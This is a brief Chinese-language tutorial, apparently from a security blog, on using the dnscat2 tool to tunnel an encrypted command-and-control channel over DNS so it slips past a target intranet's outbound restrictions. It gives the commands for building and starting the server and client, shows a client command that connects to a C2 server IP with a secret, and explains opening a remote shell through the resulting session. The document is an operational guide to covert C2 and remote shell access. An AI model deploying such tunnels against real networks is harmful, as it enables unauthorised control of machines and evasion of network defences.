# Dnscat2
内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。
#### 初始化dnscat2服务端
“`
Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
ruby ./dnscat2.rb # 启动服务端
“`

#### 编译客户端
“`
Client部署
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make (如果你在 windows 环境下编译,需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )
“`

如果目标内网放行了所有的 DNS 请求,那么就可以直接指定 HOST ,通过 UDP53 端口通信,而如果目标内网只允许和受信任的 DNS 服务器通信时就需要申请注意域名,并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器。
注意:Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密,可以提高传输的稳定性。
刚刚在启动服务端的时候默认是加密的,需要记下secret待客户端使用

Client运行以下命令发现session建立成功
“`
./dnscat –dns server=192.168.137.129,port=53 –secret=ca7670fc9b8f016b3ccb5749d11eed62
“`

#### dnscat2指令
返回服务端查看会话,可以通过help查看支持的命令

你可以通过sessions或windows查看当前会话,用`session(window) -i 1`进入名为1的会话,用help查看支持的命令

如果想返回shell,直接在session 1输入shell创建新的会话,通过ctrl+z返回上一层,选择新的session即可















请登录后查看评论内容